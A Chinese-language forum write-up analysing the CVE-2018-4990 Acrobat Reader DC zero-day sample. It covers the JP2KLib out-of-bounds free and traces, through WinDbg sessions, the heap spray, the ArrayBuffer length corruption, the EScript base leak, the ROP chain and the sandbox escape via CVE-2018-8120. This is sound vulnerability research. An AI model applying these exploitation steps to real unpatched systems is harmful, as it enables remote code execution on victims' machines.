样本MD5
bd23ad33accef14684d42c32769092a0
漏洞简介
CVE-2018-4990是Adobe在2018年5月修复的一个Adobe DC系列PDF阅读器的0day,原样本配合另一个windows本地提权漏洞CVE-2018-8120一起使用,后者用来进行沙箱逃逸,关于CVE-2018-8120漏洞的分析可以参考 @Leeqwind 同学写的《通过对比 5 月补丁分析 win32k 空指针解引用漏洞》一文。
官方公告说这是一个Double Free漏洞,但调试发现这是一个任意地址释放漏洞,原样本中,在32位环境下,攻击者可以通过这个漏洞实现对任意两个4字节地址的释放。原样本漏洞触发前用精准的堆喷射巧妙地布局内存,然后触发漏洞,释放可控的的两块大小为0xfff8的相邻堆块。
随后,Windows堆分配算法自动将两块空闲的堆块合并成一个大堆块,接着立即重新使用这个大堆块,并利用这个该堆块的读写能力改写一个ArrayBuffer对象的长度为0x66666666,从而实现任意地址读写。
影响版本
根据公告,这个漏洞并不影响Adobe Reader 11.x及之前的版本,根据ESET的给出的列表,影响的版本如下:
Acrobat DC (2018.011.20038 and earlier versions)
Acrobat Reader DC (2018.011.20038 and earlier versions )
Acrobat 2017 (011.30079 and earlier versions)
Acrobat Reader DC 2017 (2017.011.30079 and earlier versions)
Acrobat DC (Classic 2015) (2015.006.30417 and earlier versions)
Acrobat Reader DC (Classic 2015) (2015.006.30417 and earlier versions)
分析环境
本次调试使用的是Adobe Acrobat Reader DC 18.11.20035,JP2Klib.lib版本为1.2.2.39492。操作系统为Windows 7 sp1 x86,调试器为Windbg。
全页堆下的crash分析
拿到样本,我们要做的第一件事就是定位漏洞触发点,先开启全页堆,打开样本后发现crash,现场如下:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=d0d0d0b0 ebx=00000000 ecx=d0d0d000 edx=d0d0d0b0 esi=01930000 edi=01930000
eip=72676e88 esp=001ba2e0 ebp=001ba32c iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8:
72676e88 813abbbbcdab cmp dword ptr [edx],0ABCDBBBBh ds:0023:d0d0d0b0=????????
0:000> kv 20
ChildEBP RetAddr Args to Child
001ba32c 72676f95 01931000 d0d0d0d0 01930000 verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8 (FPO: [SEH])
001ba350 72677240 01931000 d0d0d0d0 001ba3c0 verifier!AVrfpDphFindBusyMemory+0x15 (FPO: [2,5,0])
001ba36c 72679080 01931000 d0d0d0d0 0090d911 verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20 (FPO: [2,3,0])
001ba388 779169cc 01930000 01000002 d0d0d0d0 verifier!AVrfDebugPageHeapFree+0x90 (FPO: [3,3,0])
001ba3d0 778d9e07 01930000 01000002 d0d0d0d0 ntdll!RtlDebugFreeHeap+0x2f (FPO: [SEH])
001ba4c4 778a63a6 00000000 d0d0d0d0 51b6cf98 ntdll!RtlpFreeHeap+0x5d (FPO: [SEH])
001ba4e4 7708c614 01930000 00000000 d0d0d0d0 ntdll!RtlFreeHeap+0x142 (FPO: [3,1,4])
001ba4f8 6f0cecfa 01930000 00000000 d0d0d0d0 kernel32!HeapFree+0x14 (FPO: [3,0,0])
001ba50c 67eb0574 d0d0d0d0 0ee62d74 52148fac MSVCR120!free+0x1a (FPO: [Non-Fpo]) (CONV: cdecl) [f:\dd\vctools\crt\crtw32\heap\free.c @ 51]
WARNING: Stack unwind information not available. Following frames may be wrong.
001ba62c 67ec6482 5383cfb8 51b6afd8 000000fd JP2KLib!JP2KCopyRect+0xbae6
001ba684 64e56cfc 5387ae88 53874fd0 51b6afd8 JP2KLib!JP2KImageInitDecoderEx+0x24
001ba70c 64e58696 53834fa8 52148fac 53834fa8 AcroRd32_64860000!AX_PDXlateToHostEx+0x261843
001ba76c 64e4d785 52148fac 001ba78c 64e56640 AcroRd32_64860000!AX_PDXlateToHostEx+0x2631dd
001ba778 64e56640 52148fac 53056f70 53050fc8 AcroRd32_64860000!AX_PDXlateToHostEx+0x2582cc
001ba78c 64a4030d 52148fac 53050fd0 53050fc8 AcroRd32_64860000!AX_PDXlateToHostEx+0x261187
001ba7c8 64a3f92b c0010000 00000016 53050fc8 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x7867d
001ba898 64a3ebc6 001bac40 00000000 1065768e AcroRd32_64860000!PDMediaQueriesGetCosObj+0x77c9b
001babe8 64a3eb88 001bac40 4ee49a50 1065717a AcroRd32_64860000!PDMediaQueriesGetCosObj+0x76f36
001bac1c 64a3ea71 53050e28 4ee49a50 001bacd4 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x76ef8
001bac88 64a3d949 c0010000 00000016 4ee49a50 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x76de1
001bb0f4 64a3ade9 001bb3e0 51ae2598 c0010000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x75cb9
001bc8cc 64a3aa51 51ae2598 c0010000 00000016 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x73159
001bc9a4 64a24ab0 10651702 00000000 4ee49a50 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x72dc1
001bca64 64a844b4 00000000 00000000 00000000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5ce20
001bcac0 64a3d2d3 00000000 00000000 00000000 AcroRd32_64860000!CTJPEGDecoderReadNextTile+0x2dea4
001be28c 64a3aa51 51ae250c c0010000 00000015 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x75643
001be364 64a24ab0 10653942 5213ef78 00000000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x72dc1
001be424 64a22e70 00000001 00000000 00000000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5ce20
001be46c 64a13d93 5213ef78 00000001 00000000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5b1e0
001be5cc 64a134fa 5360adbc 00000001 0000002d AcroRd32_64860000!PDMediaQueriesGetCosObj+0x4c103
001be634 64ac4a44 10653bd2 00000000 001be6d4 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x4b86a
001be6b4 64ac4751 4e180ef8 c0010000 0000002d AcroRd32_64860000!CTJPEGDecoderReadNextTile+0x6e434
看过《Windows高级调试》第6章页堆部分的同学应该已经明白了,free地址为0x0d0d0d0d的原因是释放了全页堆的后置填充区域。
到这里,有经验的同学应该已经可以猜到是因为堆内存的越界访问导致释放了堆的后置填充数据,从上面的栈回溯我们可以看到这是JP2Klib动态库的一处调用导致的,如下:
001ba62c 67ec6482 5383cfb8 51b6afd8 000000fd JP2KLib!JP2KCopyRect+0xbae6
我们在IDA里面看一下相应偏移处的代码逻辑:
count1 = 0;
count2 = 0;
if ( *(v116 + 4) > 0 )
{
do
{
if ( *(*(*(pObj + 0x48) + 0xC) + 4 * count1) )
{
sub_66FEA(*(*(*(pObj + 0x48) + 0xC) + 4 * count1)); // 从这里进入后面的free() count1 = count2;
*(*(*(pObj + 0x48) + 0xC) + 4 * count2) = 0;
}
count2 = ++count1;
}while ( count1 < *(*(pObj + 0x48) + 4) );
}
将上述代码整理一下后可以更清楚地看到逻辑:
count = 0;
if ( *(v116 + 4) > 0 )
{
do
{
if ( *(mem_base + 4 * count) )
{
free(mem_base);
*(mem_base + 4 * count) = 0;
}
count++;
}while ( count < max_count );
}
漏洞的根本原因
我们来监控一下max_count和while循环里的count变化过程
bp JP2KLib+50588 "dd eax+4 l1; g;" // 获取max_count值
bp JP2KLib+50567 "r eax; r ecx; g;" // 获取mem基地址和每次循环的count值
bp JP2KLib+5056e "r eax; g;" // 获取每次free()的地址
利用 PdfStreamDumper.exe 对pdf的修改能力,我们对内嵌的javascript代码稍作修改,放开原代码的一处注释,目的是在漏洞触发前弹个对话框,便于我们下断点:
可以看到mem_base为 073fa1a0, max_count = 0xff,当count变化到0xfd和0xfe时两个在原js中出现得的堆地址 0x0d0e0048 和 0x0d0f0048 被释放。
0:000> bp JP2KLib+50588 "dd eax+4 l1; g;"
0:000> bp JP2KLib+50567 "r eax; r ecx; g;"
0:000> bp JP2KLib+5056e "r eax; g;"
0:000> g
eax=073fa1a0
ecx=00000000
17bf44d4 000000ff
eax=073fa1a0
ecx=00000001
17bf44d4 000000ff
...略去无关输出...
eax=073fa1a0
ecx=000000fd
eax=0d0e0048
17bf44d4 000000ff
eax=073fa1a0
ecx=000000fe
eax=0d0f0048
17bf44d4 000000ff
此时我们对mem_base的分配大小很感兴趣,重启windbg,观察一下mem_base的大小,可以看到mem_base的大小为0x3f4
0:000> !heap -p -a 0aaf5060
address 0aaf5060 found in
_HEAP @ 880000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0aaf5048 0089 0000 [00] 0aaf5060 003f4 - (busy)
Trace: 1dd977d4
7707dd6c ntdll!RtlAllocateHeap+0x00000274
694ded63 MSVCR120!malloc+0x00000049
674b6f34 JP2KLib!JP2KTileGeometryRegionIsTile+0x00000102
674912cb JP2KLib!JP2KCodeStm::write+0x00017dcb
67490978 JP2KLib!JP2KCodeStm::write+0x00017478
6749f746 JP2KLib!JP2KCopyRect+0x0000acb8
674b6482 JP2KLib!JP2KImageInitDecoderEx+0x00000024
到这里漏洞的成因已经很清楚了,漏洞根源在于 max_count = 0xff,而ff*4 = 3fc,所以while循环内部最大允许访问到 mem_base+3fc 地址处。
但是我们看到mem_base对应处的内存大小只有0x3f4,两者的差值为8个字节3fc - 3f4 = 8,于是可以借助上述while循环越界访问两个4字节地址并释放,来实现任意释放两个地址。
于是攻击者可以通过内存布局(例如堆喷射)提供的任意两个4字节地址,并实现任意释放,如下是样本中越界释放的两个堆地址,他们提高堆喷射被镜像布局到相邻的内存。
0:000> dd 0aaf5060+3f4 l2
0aaf5454 0d0e0048 0d0f0048
所以这本质上不是一个double free漏洞,而是任意地址释放漏洞(原样本在32位下可以释放两个任意地址)。
堆喷射占坑+OOB释放
攻击者在已经知道漏洞内存区域大小为0x3f4的前提下,在漏洞触发前利用精心控制大小(0x400)的堆喷射构造大量对象,然后释放其中的一半,借助堆分配算法,JP2Klib在申请漏洞对象时,会从释放的堆块里面直接复用一个。
上述复用造成了很有意思的现象,我们在windbg下来看一下
0:000> bp JP2KLib+66f31 ".if(esi=3f4){}.else{g;}"
0:000> g
eax=17df5178 ebx=000000fd ecx=000003f4 edx=00000000 esi=000003f4 edi=17d2ad38
eip=69496f31 esp=0029a22c ebp=0029a258 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
JP2KLib!JP2KTileGeometryRegionIsTile+0xff:
69496f31 ff5010 call dword ptr [eax+10h] ds:0023:17df5188=63a60721
0:000> p
eax=075a9198 ebx=000000fd ecx=77052fe7 edx=002f6c88 esi=000003f4 edi=17d2ad38
eip=69496f34 esp=0029a22c ebp=0029a258 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
JP2KLib!JP2KTileGeometryRegionIsTile+0x102:
69496f34 8bf8 mov edi,eax
0:000> !heap -p -a 75a9198
address 075a9198 found in
_HEAP @ 2f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
075a9190 0081 0000 [00] 075a9198 003f4 - (busy)// 0x400大小的堆块busy和free交替出现0:000> !heap -flt s 400
_HEAP @ 2f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
002fe5d8 0081 0000 [00] 002fe5e0 00400 - (busy)
...
075a8170 0081 0081 [00] 075a8178 00400 - (free)
075a8578 0081 0081 [00] 075a8580 00400 - (busy)
075a8980 0081 0081 [00] 075a8988 00400 - (free)
075a8d88 0081 0081 [00] 075a8d90 00400 - (busy)
// 075a9198 本来是此处的块 0x400大小的空闲内存 075a9598 0081 0081 [00] 075a95a0 00400 - (busy)
075a99a0 0081 0081 [00] 075a99a8 00400 - (busy)
075a9da8 0081 0081 [00] 075a9db0 00400 - (busy)
075aa5b8 0081 0081 [00] 075aa5c0 00400 - (busy)
075aadc8 0081 0081 [00] 075aadd0 00400 - (busy)
075ab5d8 0081 0081 [00] 075ab5e0 00400 - (busy)
075ab9e0 0081 0081 [00] 075ab9e8 00400 - (free)
075abde8 0081 0081 [00] 075abdf0 00400 - (busy)// 越界访问后待释放的两个地址0:000> dd 75a9198+3f4 l2
075a958c 0d0e0048 0d0f0048// 此时待释放的堆块都在使用中075a958c 0d0e0048 0d0f0048
0:000> !heap -p -a 0d0e0048
address 0d0e0048 found in
_HEAP @ 2f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0d0e0040 2000 0000 [00] 0d0e0048 0fff8 - (busy)
0:000> !heap -p -a 0d0f0048
address 0d0f0048 found in
_HEAP @ 2f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0d0f0040 2000 0000 [00] 0d0f0048 0fff8 - (busy)// 对越界释放处下断点0:000> bp JP2KLib+5056e
0:000> g
...
eax=0d0e0048 ebx=00000000 ecx=000000fd edx=00000001 esi=17d2ad38 edi=17e43e60
eip=6948056e esp=0029a348 ebp=0029a45c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
JP2KLib!JP2KCopyRect+0xbae0:
6948056e 50 push eax
0:000> p
eax=0d0e0048 ebx=00000000 ecx=000000fd edx=00000001 esi=17d2ad38 edi=17e43e60
eip=6948056f esp=0029a344 ebp=0029a45c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
JP2KLib!JP2KCopyRect+0xbae1:
6948056f e8766a0100 call JP2KLib!JP2KTileGeometryRegionIsTile+0x1b8 (69496fea)
0:000> p
eax=00000001 ebx=00000000 ecx=77056570 edx=002f0000 esi=17d2ad38 edi=17e43e60
eip=69480574 esp=0029a344 ebp=0029a45c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
JP2KLib!JP2KCopyRect+0xbae6:
69480574 8b4648 mov eax,dword ptr [esi+48h] ds:0023:17d2ad80=17df4ca0// 第一次越界free后,0d0e0048堆块被释放0:000> !heap -p -a 0d0e0048
address 0d0e0048 found in
_HEAP @ 2f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0d0e0040 2000 0000 [00] 0d0e0048 0fff8 - (free)
0:000> !heap -p -a 0d0f0048
address 0d0f0048 found in
_HEAP @ 2f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0d0f0040 2000 0000 [00] 0d0f0048 0fff8 - (busy)
0:000> g
eax=0d0f0048
eax=0d0f0048 ebx=00000000 ecx=000000fe edx=002f0000 esi=17d2ad38 edi=17e43e60
eip=6948056e esp=0029a348 ebp=0029a45c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
JP2KLib!JP2KCopyRect+0xbae0:
6948056e 50 push eax
0:000> p
eax=0d0f0048 ebx=00000000 ecx=000000fe edx=002f0000 esi=17d2ad38 edi=17e43e60
eip=6948056f esp=0029a344 ebp=0029a45c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
JP2KLib!JP2KCopyRect+0xbae1:
6948056f e8766a0100 call JP2KLib!JP2KTileGeometryRegionIsTile+0x1b8 (69496fea)
0:000> p
eax=00000001 ebx=00000000 ecx=77056570 edx=002f0000 esi=17d2ad38 edi=17e43e60
eip=69480574 esp=0029a344 ebp=0029a45c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
JP2KLib!JP2KCopyRect+0xbae6:
69480574 8b4648 mov eax,dword ptr [esi+48h] ds:0023:17d2ad80=17df4ca0// 第二次越界free后,0d0f0048堆块被释放,释放过程中合并成一个大堆块0:000> !heap -p -a 0d0f0048
address 0d0f0048 found in
_HEAP @ 2f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0d0e0040 4000 0000 [00] 0d0e0048 1fff8 - (free)
随后攻击者通过以下代码立即将上述合并的堆块重新使用。
由于漏洞触发前的如下堆喷射语句,0d0e0048和0d0f0048在释放前分别代表一个长度为0x10000 - 24的ArrayBuffer对象。在UAF之后,0d0e0048+0d0e0048的内存变成了一个长度为0x20000-24的ArrayBuffer对象。
接着攻击者利用长度为0x20000-24的ArrayBuffer的读写能力去改写释放前0d0f0048对应ArrayBuffer对象的长度,将其改写为0x66666666。然后利用之前在数据sprayarr中保留的找到长度为0x66666666的“ArrayBuffer”对象(这时候已经是伪造的了),紧接着将其赋值给一个DataView对象借助DataView来实现任意地址读写。
重启调试器,来看一下上述过程:
// 观察一下前一个堆块的大小0:004> !heap -p -a 0d0d0048
address 0d0d0048 found in
_HEAP @ 1110000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0d0d0040 2000 0000 [00] 0d0d0048 0fff8 - (busy)// 观察合并堆块的大小0:004> !heap -p -a 0d0f0048
address 0d0f0048 found in
_HEAP @ 1110000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0d0e0040 4000 0000 [00] 0d0e0048 1fff8 - (busy)// 可以看到ArrayBuffer的+0x4偏移处代表其长度0:004> dd 0d0e0048
0d0e0048 00000000 0001ffe8 00000000 00000000
0d0e0058 00000000 00000000 00000000 00000000
0d0e0068 00000000 00000000 00000000 00000000
0d0e0078 00000000 00000000 00000000 00000000
0d0e0088 00000000 00000000 00000000 00000000
0d0e0098 00000000 00000000 00000000 00000000
0d0e00a8 00000000 00000000 00000000 00000000
0d0e00b8 00000000 00000000 00000000 00000000// 长度域被修改之后 0d0f0048 代表的“ArrayBuffer对象”的长度域被修改为了0x666666660:004> dd 0d0f0048
0d0f0048 00000000 66666666 00000000 00000000
0d0f0058 00000000 00000000 00000000 00000000
0d0f0068 00000000 00000000 00000000 00000000
0d0f0078 00000000 00000000 00000000 00000000
0d0f0088 00000000 00000000 00000000 00000000
0d0f0098 00000000 00000000 00000000 00000000
0d0f00a8 00000000 00000000 00000000 00000000
0d0f00b8 00000000 00000000 00000000 00000000
随后攻击者用其初始化一个DataView对象,并借助DataView对象实现了任意地址读写函数:
随后利用任意读写能力泄漏Escript.api基址,构造ROP:
// myarraybase = 0x0d130058// var obj1 = myread(myarraybase - 8);// obj1 = 06bea450// var obj2 = myread(obj1 + 4);0:012> dd 06b25c40 l2
06b25c40 67754a90 06b313a0// var obj3 = myread(obj2);0:012> dd 67754a90 l3
67754a90 676ab824 9c000521 6751966b// var dll_base = (myread(obj3 + 8) - 0x00010000) & 0xffff0000;0:012> ? (6751966b-10000) & ffff0000
Evaluate expression: 1733296128 = 67500000
0:012> lmvm escript
start end module name
67500000 677a1000 EScript (deferred)
Image path: C:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
Image name: EScript.api
Timestamp: Sat Feb 03 02:11:27 2018 (5A74A9CF)
CheckSum: 00000000
ImageSize: 002A1000
File version: 18.11.20035.2003
Product version: 18.11.20035.2003
File flags: 0 (Mask 3F)
File OS: 4 Unknown Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0409.04b0
CompanyName: Adobe Systems Incorporated
ProductName: Adobe Acrobat Escript
InternalName: Escript
OriginalFilename: Escript.api
ProductVersion: 18.11.20035.264147
FileVersion: 18.11.20035.264147
FileDescription: Adobe Acrobat Escript Plug-in
LegalCopyright: Copyright 1984-2017 Adobe Systems Incorporated and its licensors. All rights reserved.
LegalTrademarks: Adobe, Acrobat and the Acrobat logo are trademarks of Adobe Systems Incorporated which may be registered in certain jurisdictions.
随后构造ROP,填充PE数据:
构造完ROP后对escript的off_259BA4全局变量指向的指定偏移的数据进行修改:
/* // 0xC7D06 mywrite(objescript, 0x6b707d06 - 0x6b640000 + dll_base);*/0:012> u escript+4389f
*** WARNING: Unable to verify checksum for C:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api -
EScript!mozilla::HashBytes+0x33229:
6754389f 94 xchg eax,esp <-- stack pivot
675438a0 c3 ret
.../* // 0x4389F mywrite(objescript + 0x598, 0x6b68389f - 0x6b640000 + dll_base); // 这一步我暂时没有完全理解*/0:012> u escript+c7d06
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x61021:
675c7d06 5c pop esp
675c7d07 59 pop ecx
675c7d08 59 pop ecx
675c7d09 5d pop ebp
675c7d0a c20400 ret 4
通过stack pivot切换执行流到ROP
0:000> dps esp-10
0d13005c 00000000
0d130060 00000000
0d130064 6973845b EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776
0d130068 6973845b EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776
0d13006c 6973845a EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1775
0d130070 69787084 EScript!double_conversion::DoubleToStringConverter::ToPrecision+0x1d130
0d130074 69601767 EScript!mozilla::HashBytes+0x10f1
0d130078 695f230d EScript+0x230d
0d13007c 0d130058
0d130080 6960ecaf EScript!mozilla::HashBytes+0xe639
0d130084 69613a4b EScript!mozilla::HashBytes+0x133d5
0d130088 0d130058 // lpAddress0d13008c 00010201 // dwSize0d130090 00001000 // flNewProtect: PAGE_EXECUTE_READWRITE0d130094 00000040 // lpflOldProtect: PAGE_READWRITE0d130098 90909090
0d13009c 41414141
...
0:000> u 6973845b
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776:
6973845b c3 ret
0:000> u 6973845a
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1775:
6973845a 59 pop ecx
6973845b c3 ret
69787084 ; import addr of VirtualAlloc
0:000> u 69601767
EScript!mozilla::HashBytes+0x10f1:
69601767 8b01 mov eax,dword ptr [ecx]
69601769 c3 ret
0:000> u 695f230d
EScript+0x230d:
695f230d 5d pop ebp
695f230e c3 ret
0:000> u 6960ecaf
EScript!mozilla::HashBytes+0xe639:
6960ecaf ffe0 jmp eax
0:000> u 69613a4b
EScript!mozilla::HashBytes+0x133d5:
69613a4b ffe4 jmp esp
沙箱逃逸
ROP执行完毕后,样本进入shellcode,shellcode执行完后,在内存中直接执行PE,PE利用了CVE-2018-8120进行本地提权,提权成功后可以看到沙箱进程的权限已经由low变成了system。
随后样本会弹出对话框,并向启动项写入一个one.vbs,one.vbs的作用是从本地http服务器下载一个calc.exe,从这里可以看出这个组合漏洞样本还在测试阶段。
后记
由于这个Adobe将这个漏洞归类为Double Free,所以一开始我一直在往Double Free的方面想,导致浪费了大量时间。
在这个过程中我看到了一篇非常精彩的Double Free文章《Too Much Freedom is Dangerous: Understanding IE 11 CVE-2015-2419 Exploitation》,想入门Double Free漏洞分析的同学可以好好看一下这篇文章。
同时,在本地复现时我发现win7下在打了2018年3月的内核补丁后Adobe在8120的提权过程中会导致虚拟机直接重启,不打该补丁则一切正常,目前还未完全清楚该问题的原因。
此外,实际执行时发现bkm.execute();这一步的前一步就可以导向ROP,我暂时没有调试清楚最后两步的含义,只知道是在切换执行流,也希望理解的同学可以告诉我一下。
// 0x4389F, 实际执行这一步后就会触发ROPmywrite(objescript + 0x598, 0x6b68389f - 0x6b640000 + dll_base);// 所以这一步的作用是?bkm.execute();
这个漏洞我从上周开始一直在花时间调试,直到昨天下午国外 @steventseeley 发了一篇对这个漏洞的分析,当时感觉他并没有分析清楚漏洞原因,昨晚看了 @klotxl404 和 @binjo两位大神在twitter上的互动后恍然大悟。今天下午看到 @steventseeley 的文章也更新了,他那篇还画了图,表述得非常清晰,可以先看他那篇。
这个漏洞中max_count值是否可控,以及其是否可以通过恶意的JPEG2000图像数据进行操纵,目前还暂不清楚,等待后面补充,或者等待有能力的同学进行补充。
第一次调试 Adobe Reader 漏洞,不足之处请多见谅。
原文写于2018/5/23,2018/5/24 稍作修改。
参考链接
《A tale of two zero-days》 https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/
《通过对比 5 月补丁分析 win32k 空指针解引用漏洞》 https://xiaodaozhi.com/exploit/149.html
《Adobe, Me and an Arbitrary Free :: Analyzing the CVE-2018-4990 Zero-Day Exploit》https://srcincite.io/blog/2018/05/21/adobe-me-and-a-double-free.html
《Too Much Freedom is Dangerous: Understanding IE 11 CVE-2015-2419 Exploitation》https://blog.checkpoint.com/2016/02/10/too-much-freedom-is-dangerous-understanding-ie-11-cve-2015-2419-exploitation/
《Javascript DataView》http://pwdme.cc/2018/01/21/javascript-dataview/
原文链接:[原创]CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析
本文由看雪论坛 银雁冰 原创
转载请注明来自看雪社区